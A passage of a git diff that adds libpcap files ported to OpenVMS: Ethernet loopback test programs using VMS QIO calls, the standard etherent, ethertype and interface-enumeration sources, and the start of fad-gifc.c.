{sizeof(setparm_802e),&setparm_802e}; + +struct p5_param /* P5 Receive header buffer */ +{ + unsigned char da[6]; + unsigned char sa[6]; + char misc[20]; +}; + +struct iosb /* IOSB structure */ +{ + short w_err; /* Completion Status */ + short w_xfer_size; /* Transfer Size */ + short w_addl; /* Additional status */ + short w_misc; /* Miscellaneous */ +}; + +struct ascid /* Device descriptor for assign */ +{ + short w_len; + short w_info; + char *a_string; +} devdsc = {4,0,"EWA0"}; + +struct iosb qio_iosb; /* IOSB structure */ +struct p5_param rcv_param; /* Receive header structure */ +struct p5_param xmt_param={ /* Transmit header structure */ + 0xCF,0,0,0,0,0}; /* Loopback Assistant Multicast Address */ +char rcv_buffer[2048]; /* Receive buffer */ +char xmt_buffer[20]={ /* Transmit buffer */ + 0,0, /* Skip count */ + 2,0, /* Forward request */ + 0,0,0,0,0,0, /* Forward address */ + 1,0, /* Reply request */ + 0,0}; + +char sense_buffer[512]; /* Sensemode buffer */ + +struct setparmdsc sensedsc_loop = {sizeof(sense_buffer),&sense_buffer}; + +/* +** Helper routines +*/ +char *add_int_value(char *buf, short code, int value) +{ + char *tmpptr = buf; + + *tmpptr = code; + *tmpptr += 2; + *tmpptr = value; + *tmpptr += 4; + return tmpptr; +} + +char *add_counted_value(char *buf, short code, short len, char *value) +{ + char *tmpptr = buf; + + *tmpptr = code; + *tmpptr += 2; + *tmpptr = len; + *tmpptr += 2; + memcpy(tmpptr,value,len); + return tmpptr; +} + +int find_value(int buflen, char *buf, short code, char *retbuf) +{ + int i = 0; + int item; + char *tmpbuf = buf; + int value; + int status = 0; + + while (i < buflen) { + item = (tmpbuf[i] + (tmpbuf[i+1]<<8)); + if (0x1000 & item) { + if ((item & 0xFFF) == code) { + memcpy(retbuf, &tmpbuf[i+4],6); + status = 1; + break; + } + i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4; + } else { + // A value, ours? + if ((item & 0xFFF) == code) { + // Yep, return it + memcpy(retbuf, &tmpbuf[i+2], 4); + status = 1; + break; + } + i += 6; + } + } + return status; +} + +/* + * MAIN + */ + +main(int argc, char *argv[]) +{ + int i, j; /* Scratch */ + int chan; /* Channel assigned */ + int status; /* Return status */ + char phyaddr[6]; + int val; + hdrPtr r_head; + + /* + * Start a channel. + */ + + status = sys$assign(&devdsc,&chan,0,0); + if ($FAIL(status)) exit(status); + + status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0, + &setparmdsc_loop,0,0,0,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on startup)\n",qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + /* + * Issue the SENSEMODE QIO to get our physical address for the loopback message. + */ + + status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0, + &sensedsc_loop,0,0,0,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on sensemode)\n", + qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + status = find_value(qio_iosb.w_xfer_size, sense_buffer, + NMA$C_PCLI_PHA, phyaddr); + /* + * Locate the PHA parameter in the SENSEMODE buffer and copy it into the + * LOOPBACK transmit message. The PHA parameter is a string parameter. + */ + + j = 0; + while (j < sizeof(sense_buffer)) + { + i = (sense_buffer[j] + (sense_buffer[j+1]<<8)); + if (0x1000 & i) + { + if ((i & 0xFFF) == NMA$C_PCLI_PHA) + { + memcpy(&xmt_buffer[4],&sense_buffer[j+4],6); + break; + } + j += (sense_buffer[j+2] + (sense_buffer[j+3]<<8)) + 4; + } + else + { + j += 6; /* Skip over longword parameter */ + } + } + + /* + * Transmit the loopback message. + */ + + status = sys$qiow(0,chan,IO$_WRITEVBLK,&qio_iosb,0,0,&xmt_buffer[0], + sizeof(xmt_buffer),0,0,&xmt_param,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on transmit)\n", + qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + /* + * Look for a response. We use the NOW function modifier on the READ so that + * we don't hang here waiting forever if there is no response. If there is no + * response in 1000 receive attempts, we declare no response status. + */ + + for (i=0;i<1000;i++) + { +// status = sys$qiow(0,chan,IO$_READVBLK|IO$M_NOW,&qio_iosb,0,0,&rcv_buffer[0], + status = sys$qiow(0,chan,IO$_READVBLK,&qio_iosb,0,0,&rcv_buffer[0], + sizeof(rcv_buffer),0,0,&rcv_param,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($SUCCESS(status)) { + + printf("da %02x%02x%02x%02x%02x%02x, sa %02x%02x%02x%02x%02x%02x\n", + rcv_param.da[0], + rcv_param.da[1], + rcv_param.da[2], + rcv_param.da[3], + rcv_param.da[4], + rcv_param.da[5], + rcv_param.sa[0], + rcv_param.sa[1], + rcv_param.sa[2], + rcv_param.sa[3], + rcv_param.sa[4], + rcv_param.sa[5]); + } else { + printf("Error\n"); + exit(status); + break; + } + } + if ($SUCCESS(status)) + printf("Successful test\n"); + else + printf("No response\n"); + +} + diff --git a/Pcap-VMS/pcap-vci/eth_test2.c b/Pcap-VMS/pcap-vci/eth_test2.c new file mode 100644 index 00000000..4e61393d --- /dev/null +++ b/Pcap-VMS/pcap-vci/eth_test2.c @@ -0,0 +1,286 @@ + +#include /* Character type classification macros/routines */ +#include /* For VMS descriptor manipulation */ +#include /* I/O function code definitions */ +#include /* System service return status code definitions */ +#include /* System library routine prototypes */ +#include /* ANSI C Standard Input/Output */ +#include /* General utilities */ +#include /* String handling */ +#include /* VMS status code definitions */ +#include "nmadef.h" /* NMA stuff */ + +#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL) +#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL) + +#pragma nomember_alignment + +struct parm_802e +{ + short pcli_fmt; /* Format - 802E */ + int fmt_value; + short pcli_bfn; + int bnf_value; + short pcli_acc; + // int acc_value; + // short pcli_prm; + int prm_value; + short pcli_pid; /* Protocol ID - 08-00-2B-90-00 */ + short pid_length; + unsigned char pid_value[5]; +} setparm_802e = { + NMA$C_PCLI_FMT, + NMA$C_LINFM_802E, + NMA$C_PCLI_BFN, + 255, +// NMA$C_PCLI_ACC, +// NMA$C_ACC_SHR, + NMA$C_PCLI_PRM, + NMA$C_STATE_ON, + NMA$C_PCLI_PID, 5, 8,0,0x2b,0x80,0x00 +}; + +typedef struct _hdr { + unsigned char dsap; + unsigned char ssap; + unsigned char ctl; + unsigned char pid[5]; + unsigned char da[6]; + unsigned char sa[6]; + unsigned char pty[2]; +} hdr, *hdrPtr; + +struct setparmdsc +{ + int parm_len; + void *parm_buffer; +}; + +struct setparmdsc setparmdsc_loop = {sizeof(setparm_802e),&setparm_802e}; + +struct p5_param /* P5 Receive header buffer */ +{ + unsigned char da[6]; + unsigned char sa[6]; + char misc[20]; +}; + +struct iosb /* IOSB structure */ +{ + short w_err; /* Completion Status */ + short w_xfer_size; /* Transfer Size */ + short w_addl; /* Additional status */ + short w_misc; /* Miscellaneous */ +}; + +struct ascid /* Device descriptor for assign */ +{ + short w_len; + short w_info; + char *a_string; +} devdsc = {4,0,"EWA0"}; + +struct iosb qio_iosb; /* IOSB structure */ +struct p5_param rcv_param; /* Receive header structure */ +struct p5_param xmt_param={ /* Transmit header structure */ + 0xCF,0,0,0,0,0}; /* Loopback Assistant Multicast Address */ +char rcv_buffer[2048]; /* Receive buffer */ +char xmt_buffer[20]={ /* Transmit buffer */ + 0,0, /* Skip count */ + 2,0, /* Forward request */ + 0,0,0,0,0,0, /* Forward address */ + 1,0, /* Reply request */ + 0,0}; + +char sense_buffer[512]; /* Sensemode buffer */ + +struct setparmdsc sensedsc_loop = {sizeof(sense_buffer),&sense_buffer}; + +/* +** Helper routines +*/ +char *add_int_value(char *buf, short code, int value) +{ + char *tmpptr = buf; + + *tmpptr = code; + *tmpptr += 2; + *tmpptr = value; + *tmpptr += 4; + return tmpptr; +} + +char *add_counted_value(char *buf, short code, short len, char *value) +{ + char *tmpptr = buf; + + *tmpptr = code; + *tmpptr += 2; + *tmpptr = len; + *tmpptr += 2; + memcpy(tmpptr,value,len); + return tmpptr; +} + +int find_value(int buflen, char *buf, short code, char *retbuf) +{ + int i = 0; + int item; + char *tmpbuf = buf; + int value; + int status = 0; + + while (i < buflen) { + item = (tmpbuf[i] + (tmpbuf[i+1]<<8)); + if (0x1000 & item) { + if ((item & 0xFFF) == code) { + memcpy(retbuf, &tmpbuf[i+4],6); + status = 1; + break; + } + i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4; + } else { + // A value, ours? + if ((item & 0xFFF) == code) { + // Yep, return it + memcpy(retbuf, &tmpbuf[i+2], 4); + status = 1; + break; + } + i += 6; + } + } + return status; +} + +/* + * MAIN + */ + +main(int argc, char *argv[]) +{ + int i, j; /* Scratch */ + int chan; /* Channel assigned */ + int status; /* Return status */ + char phyaddr[6]; + int val; + hdrPtr r_head; + + /* + * Start a channel. + */ + + status = sys$assign(&devdsc,&chan,0,0); + if ($FAIL(status)) exit(status); + + status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0, + &sensedsc_loop,0,0,0,0); + status = find_value(qio_iosb.w_xfer_size, sense_buffer, + NMA$C_PCLI_PHA, phyaddr); + + status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0, + 0,0,0,0,0); + + status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0, + &setparmdsc_loop,0,0,0,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on startup)\n",qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + /* + * Issue the SENSEMODE QIO to get our physical address for the loopback message. + */ + + status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0, + &sensedsc_loop,0,0,0,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on sensemode)\n", + qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + status = find_value(qio_iosb.w_xfer_size, sense_buffer, + NMA$C_PCLI_PHA, phyaddr); + /* + * Locate the PHA parameter in the SENSEMODE buffer and copy it into the + * LOOPBACK transmit message. The PHA parameter is a string parameter. + */ + + j = 0; + while (j < sizeof(sense_buffer)) + { + i = (sense_buffer[j] + (sense_buffer[j+1]<<8)); + if (0x1000 & i) + { + if ((i & 0xFFF) == NMA$C_PCLI_PHA) + { + memcpy(&xmt_buffer[4],&sense_buffer[j+4],6); + break; + } + j += (sense_buffer[j+2] + (sense_buffer[j+3]<<8)) + 4; + } + else + { + j += 6; /* Skip over longword parameter */ + } + } + + /* + * Transmit the loopback message. + */ + + status = sys$qiow(0,chan,IO$_WRITEVBLK,&qio_iosb,0,0,&xmt_buffer[0], + sizeof(xmt_buffer),0,0,&xmt_param,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($FAIL(status)) + { + printf("IOSB addl status = %04X %04X (on transmit)\n", + qio_iosb.w_addl,qio_iosb.w_misc); + exit(status); + } + + /* + * Look for a response. We use the NOW function modifier on the READ so that + * we don't hang here waiting forever if there is no response. If there is no + * response in 1000 receive attempts, we declare no response status. + */ + + for (i=0;i<1000;i++) + { +// status = sys$qiow(0,chan,IO$_READVBLK|IO$M_NOW,&qio_iosb,0,0,&rcv_buffer[0], + status = sys$qiow(0,chan,IO$_READVBLK,&qio_iosb,0,0,&rcv_buffer[0], + sizeof(rcv_buffer),0,0,&rcv_param,0); + if ($SUCCESS(status)) status = qio_iosb.w_err; + if ($SUCCESS(status)) { + + printf("da %02x%02x%02x%02x%02x%02x, sa %02x%02x%02x%02x%02x%02x\n", + rcv_param.da[0], + rcv_param.da[1], + rcv_param.da[2], + rcv_param.da[3], + rcv_param.da[4], + rcv_param.da[5], + rcv_param.sa[0], + rcv_param.sa[1], + rcv_param.sa[2], + rcv_param.sa[3], + rcv_param.sa[4], + rcv_param.sa[5]); + } else { + printf("Error\n"); + exit(status); + break; + } + } + if ($SUCCESS(status)) + printf("Successful test\n"); + else + printf("No response\n"); + +} + diff --git a/Pcap-VMS/pcap-vci/etherent.c b/Pcap-VMS/pcap-vci/etherent.c new file mode 100644 index 00000000..7f9c038d --- /dev/null +++ b/Pcap-VMS/pcap-vci/etherent.c @@ -0,0 +1,162 @@ +/* + * Copyright (c) 1990, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.21 2000/07/11 00:37:04 assar Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include + +#include +#include +#include +#include + +#include "pcap-int.h" + +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +static int xdtoi(int); +static int skip_space(FILE *); +static int skip_line(FILE *); + +/* Hex digit to integer. */ +static int +xdtoi(c) + register int c; +{ + if (isdigit(c)) + return c - '0'; + else if (islower(c)) + return c - 'a' + 10; + else + return c - 'A' + 10; +} + +static int +skip_space(f) + FILE *f; +{ + int c; + + do { + c = getc(f); + } while (isspace(c) && c != '\n'); + + return c; +} + +static int +skip_line(f) + FILE *f; +{ + int c; + + do + c = getc(f); + while (c != '\n' && c != EOF); + + return c; +} + +struct pcap_etherent * +pcap_next_etherent(FILE *fp) +{ + register int c, d, i; + char *bp; + static struct pcap_etherent e; + + memset((char *)&e, 0, sizeof(e)); + do { + /* Find addr */ + c = skip_space(fp); + if (c == '\n') + continue; + + /* If this is a comment, or first thing on line + cannot be etehrnet address, skip the line. */ + if (!isxdigit(c)) { + c = skip_line(fp); + continue; + } + + /* must be the start of an address */ + for (i = 0; i < 6; i += 1) { + d = xdtoi(c); + c = getc(fp); + if (isxdigit(c)) { + d <<= 4; + d |= xdtoi(c); + c = getc(fp); + } + e.addr[i] = d; + if (c != ':') + break; + c = getc(fp); + } + if (c == EOF) + break; + + /* Must be whitespace */ + if (!isspace(c)) { + c = skip_line(fp); + continue; + } + c = skip_space(fp); + + /* hit end of line... */ + if (c == '\n') + continue; + + if (c == '#') { + c = skip_line(fp); + continue; + } + + /* pick up name */ + bp = e.name; + /* Use 'd' to prevent buffer overflow. */ + d = sizeof(e.name) - 1; + do { + *bp++ = c; + c = getc(fp); + } while (!isspace(c) && c != EOF && --d > 0); + *bp = '\0'; + + /* Eat trailing junk */ + if (c != '\n') + (void)skip_line(fp); + + return &e; + + } while (c != EOF); + + return (NULL); +} diff --git a/Pcap-VMS/pcap-vci/ethertype.h b/Pcap-VMS/pcap-vci/ethertype.h new file mode 100644 index 00000000..f86817f8 --- /dev/null +++ b/Pcap-VMS/pcap-vci/ethertype.h @@ -0,0 +1,107 @@ +/* + * Copyright (c) 1993, 1994, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/ethertype.h,v 1.12 2001/01/14 21:26:52 guy Exp $ (LBL) + */ + +/* + * Ethernet types. + * + * We wrap the declarations with #ifdef, so that if a file includes + * , which may declare some of these, we don't + * get a bunch of complaints from the C compiler about redefinitions + * of these values. + * + * We declare all of them here so that no file has to include + * if all it needs are ETHERTYPE_ values. + */ + +#ifndef ETHERTYPE_PUP +#define ETHERTYPE_PUP 0x0200 /* PUP protocol */ +#endif +#ifndef ETHERTYPE_IP +#define ETHERTYPE_IP 0x0800 /* IP protocol */ +#endif +#ifndef ETHERTYPE_ARP +#define ETHERTYPE_ARP 0x0806 /* Addr. resolution protocol */ +#endif +#ifndef ETHERTYPE_REVARP +#define ETHERTYPE_REVARP 0x8035 /* reverse Addr. resolution protocol */ +#endif +#ifndef ETHERTYPE_NS +#define ETHERTYPE_NS 0x0600 +#endif +#ifndef ETHERTYPE_SPRITE +#define ETHERTYPE_SPRITE 0x0500 +#endif +#ifndef ETHERTYPE_TRAIL +#define ETHERTYPE_TRAIL 0x1000 +#endif +#ifndef ETHERTYPE_MOPDL +#define ETHERTYPE_MOPDL 0x6001 +#endif +#ifndef ETHERTYPE_MOPRC +#define ETHERTYPE_MOPRC 0x6002 +#endif +#ifndef ETHERTYPE_DN +#define ETHERTYPE_DN 0x6003 +#endif +#ifndef ETHERTYPE_LAT +#define ETHERTYPE_LAT 0x6004 +#endif +#ifndef ETHERTYPE_SCA +#define ETHERTYPE_SCA 0x6007 +#endif +#ifndef ETHERTYPE_REVARP +#define ETHERTYPE_REVARP 0x8035 +#endif +#ifndef ETHERTYPE_LANBRIDGE +#define ETHERTYPE_LANBRIDGE 0x8038 +#endif +#ifndef ETHERTYPE_DECDNS +#define ETHERTYPE_DECDNS 0x803c +#endif +#ifndef ETHERTYPE_DECDTS +#define ETHERTYPE_DECDTS 0x803e +#endif +#ifndef ETHERTYPE_VEXP +#define ETHERTYPE_VEXP 0x805b +#endif +#ifndef ETHERTYPE_VPROD +#define ETHERTYPE_VPROD 0x805c +#endif +#ifndef ETHERTYPE_ATALK +#define ETHERTYPE_ATALK 0x809b +#endif +#ifndef ETHERTYPE_AARP +#define ETHERTYPE_AARP 0x80f3 +#endif +#ifndef ETHERTYPE_8021Q +#define ETHERTYPE_8021Q 0x8100 +#endif +#ifndef ETHERTYPE_IPX +#define ETHERTYPE_IPX 0x8137 +#endif +#ifndef ETHERTYPE_IPV6 +#define ETHERTYPE_IPV6 0x86dd +#endif +#ifndef ETHERTYPE_LOOPBACK +#define ETHERTYPE_LOOPBACK 0x9000 +#endif diff --git a/Pcap-VMS/pcap-vci/fad-getad.c b/Pcap-VMS/pcap-vci/fad-getad.c new file mode 100644 index 00000000..29a94f77 --- /dev/null +++ b/Pcap-VMS/pcap-vci/fad-getad.c @@ -0,0 +1,196 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/fad-getad.c,v 1.4 2002/10/19 02:25:41 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include + +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * This is fun. + * + * In older BSD systems, socket addresses were fixed-length, and + * "sizeof (struct sockaddr)" gave the size of the structure. + * All addresses fit within a "struct sockaddr". + * + * In newer BSD systems, the socket address is variable-length, and + * there's an "sa_len" field giving the length of the structure; + * this allows socket addresses to be longer than 2 bytes of family + * and 14 bytes of data. + * + * Some commercial UNIXes use the old BSD scheme, some use the RFC 2553 + * variant of the old BSD scheme (with "struct sockaddr_storage" rather + * than "struct sockaddr"), and some use the new BSD scheme. + * + * GNU libc uses neither scheme, but has an "SA_LEN()" macro that + * determines the size based on the address family. + */ +#ifndef SA_LEN +#ifdef HAVE_SOCKADDR_SA_LEN +#define SA_LEN(addr) (addr ? (addr)->sa_len : 0) +#else /* HAVE_SOCKADDR_SA_LEN */ +#ifdef HAVE_SOCKADDR_STORAGE +#define SA_LEN(addr) (sizeof (struct sockaddr_storage)) +#else /* HAVE_SOCKADDR_STORAGE */ +#define SA_LEN(addr) (sizeof (struct sockaddr)) +#endif /* HAVE_SOCKADDR_STORAGE */ +#endif /* HAVE_SOCKADDR_SA_LEN */ +#endif /* SA_LEN */ + +/* + * Get a list of all interfaces that are up and that we can open. + * Returns -1 on error, 0 otherwise. + * The list, as returned through "alldevsp", may be null if no interfaces + * were up and could be opened. + * + * This is the implementation used on platforms that have "getifaddrs()". + */ +int +pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) +{ + pcap_if_t *devlist = NULL; + struct ifaddrs *ifap, *ifa; + struct sockaddr *broadaddr, *dstaddr; + size_t broadaddr_size, dstaddr_size; + int ret = 0; + + /* + * Get the list of interface addresses. + * + * Note: this won't return information about interfaces + * with no addresses; are there any such interfaces + * that would be capable of receiving packets? + * (Interfaces incapable of receiving packets aren't + * very interesting from libpcap's point of view.) + * + * LAN interfaces will probably have link-layer + * addresses; I don't know whether all implementations + * of "getifaddrs()" now, or in the future, will return + * those. + */ + if (getifaddrs(&ifap) != 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "getifaddrs: %s", pcap_strerror(errno)); + return (-1); + } + for (ifa = ifap; ifa != NULL; ifa = ifa->ifa_next) { + /* + * Is this interface up? + */ + if (!(ifa->ifa_flags & IFF_UP)) { + /* + * No, so don't add it to the list. + */ + continue; + } + + /* + * "ifa_broadaddr" may be non-null even on + * non-broadcast interfaces; "ifa_dstaddr" + * was, on at least one FreeBSD 4.1 system, + * non-null on a non-point-to-point + * interface. + */ + if (ifa->ifa_flags & IFF_BROADCAST) { + broadaddr = ifa->ifa_broadaddr; + broadaddr_size = SA_LEN(broadaddr); + } else { + broadaddr = NULL; + broadaddr_size = 0; + } + if (ifa->ifa_flags & IFF_POINTOPOINT) { + dstaddr = ifa->ifa_dstaddr; + dstaddr_size = SA_LEN(ifa->ifa_dstaddr); + } else { + dstaddr = NULL; + dstaddr_size = 0; + } + + /* + * Add information for this address to the list. + */ + if (add_addr_to_iflist(&devlist, ifa->ifa_name, + ifa->ifa_flags, ifa->ifa_addr, SA_LEN(ifa->ifa_addr), + ifa->ifa_netmask, SA_LEN(ifa->ifa_netmask), + broadaddr, broadaddr_size, dstaddr, dstaddr_size, + errbuf) < 0) { + ret = -1; + break; + } + } + + freeifaddrs(ifap); + + if (ret != -1) { + /* + * We haven't had any errors yet; do any platform-specific + * operations to add devices. + */ + if (pcap_platform_finddevs(&devlist, errbuf) < 0) + ret = -1; + } + + if (ret == -1) { + /* + * We had an error; free the list we've been constructing. + */ + if (devlist != NULL) { + pcap_freealldevs(devlist); + devlist = NULL; + } + } + + *alldevsp = devlist; + return (ret); +} diff --git a/Pcap-VMS/pcap-vci/fad-gifc.c b/Pcap-VMS/pcap-vci/fad-gifc.c new file mode 100644 index 00000000..5f58d71e --- /dev/null +++ b/Pcap-VMS/pcap-vci/fad-gifc.c @@ -0,0 +1,507 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/fad-gifc.c,v 1.3 2002/08/03 20:24:33 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif +#ifdef VMS +#include "pcap-vms.h" +#endif +#ifndef VMS +#include +#endif +#include +#include +#include +#ifdef HAVE_SYS_SOCKIO_H +#include +#endif +#include /* concession to AIX */ + +struct mbuf; /* Squelch compiler warnings on some platforms for */ +struct rtentry; /* declarations in */ +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * This is fun. + * + * In older BSD systems, socket addresses were fixed-length, and + * "sizeof (struct sockaddr)" gave the size of the structure. + * All addresses fit within a "struct sockaddr". + * + * In newer BSD systems, the socket address is variable-length, and + * there's an "sa_len" field giving the length of the structure; + * this allows socket addresses to be longer than 2 bytes of family + * and 14 bytes of data. + * + * Some commercial UNIXes use the old BSD scheme, some use the RFC 2553 + * variant of the old BSD scheme (with "struct sockaddr_storage" rather + * than "struct sockaddr"), and some use the new BSD scheme. + * + * GNU libc uses neither scheme, but has an "SA_LEN()" macro that + * determines the size based on the address family. + * + * We assume that a UNIX that doesn't have "getifaddrs()" and doesn't have + * SIOCGLIFCONF, but has SIOCGIFCONF, uses "struct sockaddr" for the + * address in an entry returned by SIOCGIFCONF. + */ +#ifndef SA_LEN +#ifdef HAVE_SOCKADDR_SA_LEN +#define SA_LEN(addr) ((addr)->sa_len) +#else /* HAVE_SOCKADDR_SA_LEN */ +#define SA_LEN(addr) (sizeof (struct sockaddr)) +#endif /* HAVE_SOCKADDR_SA_LEN */ +#endif /* SA_LEN */ + +#ifdef HAVE_PROC_NET_DEV +/* + * Get from "/proc/net/dev" all interfaces listed there; if they're + * already in the list of interfaces we have, that won't add another + * instance, but if they're not, that'll add them. + * + * We don't bother getting any addresses for them; it appears you can't + * use SIOCGIFADDR on Linux to get IPv6 addresses for interfaces, and, + * although some other types of addresses can be fetched with SIOCGIFADDR, + * we don't bother with them for now. + * + * We also don't fail if we couldn't open "/proc/net/dev"; we just leave + * the list of interfaces as is. + */ +static int +scan_proc_net_dev(pcap_if_t **devlistp, int fd, char *errbuf) +{ + FILE *proc_net_f; + char linebuf[512]; + 